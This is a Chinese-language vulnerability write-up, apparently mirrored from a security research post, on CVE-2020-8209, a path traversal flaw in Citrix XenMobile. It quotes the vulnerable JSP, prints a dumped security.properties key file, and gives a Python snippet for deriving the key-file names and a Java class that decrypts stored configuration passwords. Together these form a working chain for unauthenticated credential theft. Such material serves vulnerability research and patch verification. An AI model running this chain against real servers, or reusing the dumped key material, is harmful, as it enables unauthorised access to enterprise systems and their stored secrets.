menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-8209)Citrix XenMobile目录遍历任意文件读取漏洞 chevron_right (CVE-2020-8209)Citrix XenMobile目录遍历任意文件读取漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-8209)Citrix XenMobile目录遍历任意文件读取漏洞.md
    6.12 KB / 2021-07-15 19:49:30
        # (CVE-2020-8209)Citrix XenMobile目录遍历任意文件读取漏洞.md
    
    
    
    Citrix Endpoint Management(也称为XenMobile)用于管理员工的移动设备和移动应用程序。通常,由于Active Directory集成,它部署在网络外围并可以访问内部网络。这使XenMobile成为安全研究的主要目标。
    
    在此类研究中,发现了路径遍历漏洞。此漏洞允许未经授权的用户读取任意文件,包括包含密码的配置文件。
    
    
    
    
    
    # CVE-2020-8209 –路径遍历
    
    利用此漏洞,可以读取Web服务器根目录之外的任意文件,包括配置文件和敏感的加密密钥。不需要授权。在文件help-sb-download.jsp中标识了易受攻击的代码:
    
    
    
    ```
    <%    String sbFilePath="/opt/sas/support/";    int length = 0;
        String sbFileName=(String)request.getParameter("sbFileName");
        ServletOutputStream outStream = response.getOutputStream();    response.setHeader("Set-Cookie","fileDownload=true; path=/");    response.setContentType("application/octet-stream");    response.setHeader("Content-Disposition", "attachment; filename=\"" + sbFileName + '"');
    
        File file = new File(sbFilePath+sbFileName);    byte[] byteBuffer = new byte[4096];    DataInputStream in = new DataInputStream(new FileInputStream(file));
        while((in != null) && ((length =in.read(byteBuffer)) != -1))    {        outStream.write(byteBuffer,0,length);
        }
        in.close();    outStream.flush();
    %>
    ```
    
    该参数sbFileName与字符串连接/opt/sas/support/,之后将字符串作为参数提供给File类构造函数。结果显示在以下屏幕截图中:
    
    ![image-20201117135212860](resource/%EF%BC%88CVE-2020-8209%EF%BC%89Citrix%20XenMobile%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/media/image-20201117135212860.png)
    
    # 解密配置密码
    
    尽管该应用程序以tomcat用户的特权运行,但仍可以读取诸如的配置文件/opt/sas/sw/config/sftu.properties。
    
    
    
    ![image-20201117135236477](resource/%EF%BC%88CVE-2020-8209%EF%BC%89Citrix%20XenMobile%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/media/image-20201117135236477.png)
    
    密码已加密并以以下两种格式之一存储:{aes} [base64文本]或{aes} {db} [base64文本]。加密由库/opt/sas/sw/lib/libsecure.so和DataSecurity.jar处理。为了解密,需要相应的密钥。它们位于文件中/opt/sas/rt/keys/security.properties,可以使用路径遍历漏洞进行下载。
    
    ![image-20201117135250138](resource/%EF%BC%88CVE-2020-8209%EF%BC%89Citrix%20XenMobile%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/media/image-20201117135250138.png)
    
    ```
    
    P.TXT1=vfjgegdwecmykhbispfg
    P.TXT2=mbezvftvzwjopiruwewm
    P.TXT3=gzaoaxmebrgffquankdx
    P3.Salt=W3UK3PtDVgYq9Jd9QKReAw==
    NLK=cT4nkjXGc/iUZ2TvCVkvmsZAsNTG/6OgE08ZMWvATcL2fXFgfwAJO/nhE7jsi6Zh
    NLKS=SC01Cg==
    WKS=CAVRK9/5+r5esY+bvrZJ1g==
    SK=jTyjyNsyFbkrCnaI9Gq/0GVUp1fkq8nd+VHLe35T0rmmm8z7osNtgfSNPFulSSJ1
    SKS=CF5ebQ==
    UD.GK=69ict40YlMC9E1a2Tcgu3UVb0Lkd5RyadcQ4SEwcbKlUCR8Tv4lGv6N6BkirKk7l
    GKS=4GLRGw==
    ```
    
    使用算法对每个参数P.TXT1,P.TXT2,P.TXT3进行哈希处理
    
    ![image-20201117135329135](resource/%EF%BC%88CVE-2020-8209%EF%BC%89Citrix%20XenMobile%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/media/image-20201117135329135.png)
    
    并指.txt文件夹中的文件/opt/sas/rt/keys/。这些相同的步骤由库完成libsecure.so。
    
    
    
    ```
    from base64 import b64encode
    from hashlib import sha256
    print(b64encode(sha256(b'vfjgegdwecmykhbispfg').digest()).decode('ascii').translate({47:None,61:None}))
    print(b64encode(sha256(b'mbezvftvzwjopiruwewm').digest()).decode('ascii').translate({47:None,61:None}))
    print(b64encode(sha256(b'gzaoaxmebrgffquankdx').digest()).decode('ascii').translate({47:None,61:None}))
    ```
    
    生成的文件名WbuGF1z7N+0EsLTTCE3JoRNgAJJzVe7Gs5JWhp3qJE.txt,lQGKrlfWtad61mxyFkUWNi2vF7INdfOfiXzVX1I95g.txt和
    
    NZc0GgHcLK4qzgdQdQ0V50EorrksnJFdu1zIIlxx1j8.txt可以用于使用路径遍历漏洞从服务器下载相应的文件。
    
    ![image-20201117135402620](resource/%EF%BC%88CVE-2020-8209%EF%BC%89Citrix%20XenMobile%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/media/image-20201117135402620.png)
    
    ![image-20201117135412719](resource/%EF%BC%88CVE-2020-8209%EF%BC%89Citrix%20XenMobile%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/media/image-20201117135412719.png)
    
    ![image-20201117135421855](resource/%EF%BC%88CVE-2020-8209%EF%BC%89Citrix%20XenMobile%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/media/image-20201117135421855.png)
    
    /opt/sas/sw/lib/libsecure.so还需要用于加密的库。
    
    当务之急是这些文件(security.properties,WbuGF1z7N+0EsLTTCE3JoRNgAJJzVe7Gs5JWhp3qJE.txt,lQGKrlfWtad61mxyFkUWNi2vF7INdfOfiXzVX1I95g.txt,NZc0GgHcLK4qzgdQdQ0V50EorrksnJFdu1zIIlxx1j8.txt,libsecure.so),以保存到本地,他们有XenMobile服务器上的同一个文件的路径。
    
    还需要三个Java库,保存到一个文件夹:/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/DataSecurity.jar,/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/common-interfaces.jar,/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/slf4j-api-1.6.4.jar。
    
    在上述文件夹中,创建一个decrypt.class包含以下内容的文件并进行编译。
    
    ```
    
    import com.citrix.xms.security.DataSecurity;
    
    class decrypt {
        public static void main(String[] args) {
            if (args.length < 1) {
                System.out.println("Usage:\n    decrypt [encrypted string]");
                return;
            }
            System.out.println(DataSecurity.decryptDbPassword(args[0]));
        }
    }
    ```
    
    通过正确排列所有数据,我们可以从配置文件中解密密码。
    
    ![image-20201117135453864](resource/%EF%BC%88CVE-2020-8209%EF%BC%89Citrix%20XenMobile%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/media/image-20201117135453864.png)
    
    links
    file_download